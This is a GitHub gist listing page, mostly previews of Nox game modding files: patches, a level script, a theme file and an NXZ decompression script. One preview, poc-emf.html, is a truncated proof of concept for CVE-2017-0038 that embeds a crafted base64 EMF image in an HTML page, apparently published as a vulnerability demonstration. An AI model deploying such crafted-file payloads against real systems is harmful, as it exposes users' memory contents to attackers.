Skip to content

Instantly share code, notes, and snippets.

Andrew Wesie awesie

Block or report user

Report or block awesie

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@awesie
awesie / unimod_v1.patch
Last active Apr 2, 2019
Port Nox patches to Unimod
View unimod_v1.patch
From 9430904a47e10d603e4f0cca1a2900695bb2c25a Mon Sep 17 00:00:00 2001
From: Andrew Wesie <awesie@gmail.com>
Date: Mon, 1 Apr 2019 16:54:29 -0500
Subject: [PATCH] Port patches to UniMod.
---
util.cpp | 384 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 384 insertions(+)
diff --git a/util.cpp b/util.cpp
View 0001-Remaining-flat-interpolation-patches.patch
From 1e0c9904c9b6aa1f9a98a8376555eb279cd7dd9d Mon Sep 17 00:00:00 2001
From: Andrew Wesie <awesie@gmail.com>
Date: Fri, 19 May 2017 00:04:48 -0500
Subject: [PATCH] Remaining flat interpolation patches.
Signed-off-by: Andrew Wesie <awesie@gmail.com>
---
dlls/wined3d/glsl_shader.c | 116 +++++++++++++++++++++++++++++++++++----------
1 file changed, 91 insertions(+), 25 deletions(-)
@awesie
awesie / poc-emf.html
Created Mar 3, 2017
Another example of CVE-2017-0038
View poc-emf.html
<!doctype html>
<html>
<body>
<img src="data:image/x-emf;base64,AQAAAGwAAAAAAAAAAAAAAA8AAAAPAAAAAAAAAAAAAADoAwAA6AMAACBFTUYAAAEA9AQAAAMAAAABAAAAAAAAAAAAAAAAAAAAQAYAAIQDAAA0AgAAPgEAAAAAAAAAAAAAAAAAANycCAA82AQAUAAAAHQEAAAAAAAAAAAAAA8AAAAPAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAATAAAACgAAAB0AAAAAAQAAAAAAAAAAAAAEAAAACgAAAAgAAAAEAAAAAEAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
@awesie
awesie / kingdoms.ns
Created Aug 22, 2016
Nox Script sample from Kingdoms
View kingdoms.ns
// Translation of the script in Kingdoms
int RedBookcase1;
int RedBookcase2;
int RedPlate;
int BlueBookcase1;
int BlueBookcase2;
int BluePlate;
object RedWaypoint1a;
@awesie
awesie / foobar.thm
Created Aug 20, 2016
Sample theme file for Nox
View foobar.thm
// By default, Nox wants this file to be encrypted. I was too lazy to worry about that, so instead apply this binary patch:
// GAME.EXE 0x11E337 0x01 -> 0xFF
//
// This file should be in your Nox directory as \mapgen\foobar.thm. The filename determines the map name. Keep under 8 chars.
//
AMBIENT_LIGHT 255 255 255
DECOR
ROOM foo
@awesie
awesie / nxz.py
Created Nov 20, 2013
Example decompression script for the Westwood NXZ file format.
View nxz.py
#!/usr/bin/python
#
# Example decompression script for the NXZ file format
#
# Author:
# Andrew Wesie <awesie@gmail.com>
#
# Algorithm details:
# Huffman encoding + LZ77 (64K window)
# 274 symbols
You can’t perform that action at this time.